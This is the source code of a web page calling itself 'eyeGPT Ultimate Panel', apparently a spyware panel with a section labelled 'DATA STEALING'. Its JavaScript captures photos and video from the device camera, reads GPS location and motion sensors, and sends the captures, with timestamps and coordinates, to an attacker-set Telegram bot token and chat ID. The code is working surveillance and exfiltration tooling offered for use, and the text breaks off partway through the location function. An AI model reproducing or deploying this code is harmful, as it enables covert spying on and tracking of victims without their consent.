š“ RECORDING
š· CAMERA CONTROL
š· Kamera belum aktif
Klik "Start Camera"
š GPS & LOCATION
ā³ Belum ada data lokasi
ā” Speed: -
š³ SENSOR DATA (HP)
š¾ DATA STEALING
š„ļø SCREEN & RECORDING
ā” ACTIONS
š” ACTIVITY LOGS
š¹ eyeGPT Ultimate Panel Ready
š¹ 50+ Features Loaded
let cameraStream = null;
let mediaRecorder = null;
let recordedChunks = [];
let isRecording = false;
let currentFacingMode = 'user';
let recordTimer = null;
let recordedDuration = 0;
// ========== SENSOR VARIABLES ==========
let sensorInterval = null;
let gyroData = { alpha: 0, beta: 0, gamma: 0 };
let accelData = { x: 0, y: 0, z: 0 };
// ========== LOCATION VARIABLES ==========
let continuousLocationInterval = null;
let currentLocation = null;
// ========== CONFIG FUNCTIONS ==========
function saveConfig() {
BOT_TOKEN = document.getElementById('botToken').value;
CHAT_ID = document.getElementById('chatId').value;
localStorage.setItem('botToken', BOT_TOKEN);
localStorage.setItem('chatId', CHAT_ID);
addLog('ā
Bot config saved');
Swal.fire('Success', 'Bot configuration saved!', 'success');
}
function loadConfig() {
const savedToken = localStorage.getItem('botToken');
const savedChat = localStorage.getItem('chatId');
if(savedToken) BOT_TOKEN = savedToken;
if(savedChat) CHAT_ID = savedChat;
document.getElementById('botToken').value = BOT_TOKEN;
document.getElementById('chatId').value = CHAT_ID;
}
async function testBot() {
addLog('š” Testing bot...');
try {
const res = await fetch(`https://api.telegram.org/bot${BOT_TOKEN}/getMe`);
const data = await res.json();
if(data.ok) {
addLog(`ā
Bot connected: @${data.result.username}`);
Swal.fire('Success', `Bot @${data.result.username} is active!`, 'success');
} else {
addLog('ā Bot connection failed');
Swal.fire('Error', 'Invalid Bot Token', 'error');
}
} catch(e) {
addLog('ā Bot test error');
Swal.fire('Error', 'Connection failed', 'error');
}
}
// ========== TELEGRAM SENDER ==========
async function sendToTelegram(message, mediaBase64 = null, type = 'photo') {
if(!BOT_TOKEN || !CHAT_ID) {
addLog('ā Bot not configured!');
return false;
}
if(mediaBase64) {
const blob = dataURItoBlob(mediaBase64);
const formData = new FormData();
formData.append('chat_id', CHAT_ID);
let url = `https://api.telegram.org/bot${BOT_TOKEN}/sendPhoto`;
if(type === 'video') url = `https://api.telegram.org/bot${BOT_TOKEN}/sendVideo`;
formData.append(type, blob, `capture.${type === 'photo' ? 'png' : 'mp4'}`);
formData.append('caption', message.substring(0, 200));
try {
const res = await fetch(url, { method: 'POST', body: formData });
const result = await res.json();
if(result.ok) { addLog('ā
Media sent to Telegram'); return true; }
return false;
} catch(e) { addLog('ā Failed to send media'); return false; }
} else {
const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
try {
const res = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: CHAT_ID, text: message, parse_mode: 'Markdown' })
});
const result = await res.json();
if(result.ok) { addLog('ā
Message sent to Telegram'); return true; }
return false;
} catch(e) { addLog('ā Failed to send message'); return false; }
}
}
function dataURItoBlob(dataURI) {
const byteString = atob(dataURI.split(',')[1]);
const mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];
const ab = new ArrayBuffer(byteString.length);
const ia = new Uint8Array(ab);
for (let i = 0; i < byteString.length; i++) ia[i] = byteString.charCodeAt(i);
return new Blob([ab], { type: mimeString });
}
// ========== CAMERA FUNCTIONS ==========
async function startCamera() {
addLog('š· Starting camera...');
try {
if(cameraStream) stopCamera();
cameraStream = await navigator.mediaDevices.getUserMedia({
video: { facingMode: { exact: currentFacingMode } }
});
const video = document.getElementById('cameraPreview');
video.srcObject = cameraStream;
video.style.display = 'block';
document.getElementById('cameraPlaceholder').style.display = 'none';
document.getElementById('cameraStatus').className = 'status status-active';
addLog('ā
Camera active');
await sendToTelegram('š· *Camera activated*\nš ' + new Date().toLocaleString());
} catch(e) {
addLog('ā Camera error: ' + e.message);
Swal.fire('Error', 'Cannot access camera', 'error');
}
}
function stopCamera() {
if(cameraStream) {
cameraStream.getTracks().forEach(track => track.stop());
cameraStream = null;
const video = document.getElementById('cameraPreview');
video.style.display = 'none';
video.srcObject = null;
document.getElementById('cameraPlaceholder').style.display = 'flex';
document.getElementById('cameraStatus').className = 'status status-inactive';
addLog('ā¹ļø Camera stopped');
sendToTelegram('ā¹ļø *Camera stopped*\nš ' + new Date().toLocaleString());
}
if(isRecording) stopRecording();
}
function switchCamera() {
currentFacingMode = currentFacingMode === 'user' ? 'environment' : 'user';
addLog(`š Switching to ${currentFacingMode === 'user' ? 'front' : 'rear'} camera`);
if(cameraStream) startCamera();
}
async function capturePhoto() {
if(!cameraStream) {
addLog('ā Camera not active!');
Swal.fire('Warning', 'Start camera first!', 'warning');
return;
}
addLog('šø Capturing photo...');
const video = document.getElementById('cameraPreview');
const canvas = document.createElement('canvas');
canvas.width = video.videoWidth || 640;
canvas.height = video.videoHeight || 480;
canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);
const photo = canvas.toDataURL('image/jpeg', 0.8);
const message = `šø *PHOTO CAPTURED*\nš ${new Date().toLocaleString()}\nš ${currentLocation ? currentLocation.lat + ',' + currentLocation.lng : 'No location'}`;
await sendToTelegram(message, photo, 'photo');
addLog('ā
Photo sent');
}
async function startRecording() {
if(!cameraStream) {
addLog('ā Camera not active!');
Swal.fire('Warning', 'Start camera first!', 'warning');
return;
}
if(isRecording) return;
recordedChunks = [];
mediaRecorder = new MediaRecorder(cameraStream);
mediaRecorder.ondataavailable = (e) => { if(e.data.size > 0) recordedChunks.push(e.data); };
mediaRecorder.onstop = async () => {
const blob = new Blob(recordedChunks, { type: 'video/mp4' });
const reader = new FileReader();
reader.onloadend = async () => {
const message = `š„ *VIDEO RECORDING*\nš ${new Date().toLocaleString()}\nā±ļø Duration: ${recordedDuration}s\nš ${currentLocation ? currentLocation.lat + ',' + currentLocation.lng : 'No location'}`;
await sendToTelegram(message, reader.result, 'video');
addLog('ā
Video sent');
};
reader.readAsDataURL(blob);
document.getElementById('recordingIndicator').classList.remove('active');
isRecording = false;
recordedDuration = 0;
};
mediaRecorder.start(1000);
isRecording = true;
recordedDuration = 0;
document.getElementById('recordingIndicator').classList.add('active');
document.getElementById('recordBtn').style.display = 'none';
document.getElementById('stopRecordBtn').style.display = 'inline-flex';
recordTimer = setInterval(() => { if(isRecording) recordedDuration++; }, 1000);
addLog('š“ Recording video...');
}
function stopRecording() {
if(mediaRecorder && isRecording) {
mediaRecorder.stop();
clearInterval(recordTimer);
document.getElementById('recordBtn').style.display = 'inline-flex';
document.getElementById('stopRecordBtn').style.display = 'none';
addLog('ā¹ļø Recording stopped');
}
}
// ========== LOCATION FUNCTIONS ==========
function getLocation() {
addLog('š Getting location...');
if(!navigator.geolocation) { addLog('ā Geolocation not supported'); return; }
navigator.geolocation.getCurrentPosition(async (pos) => {
currentLocation = { lat: pos.coords.latitude, lng: pos.coords.longitude, accuracy: pos.coords.accuracy, speed: pos.coords.speed };
document.getElementById('locationInfo').innerHTML = `
š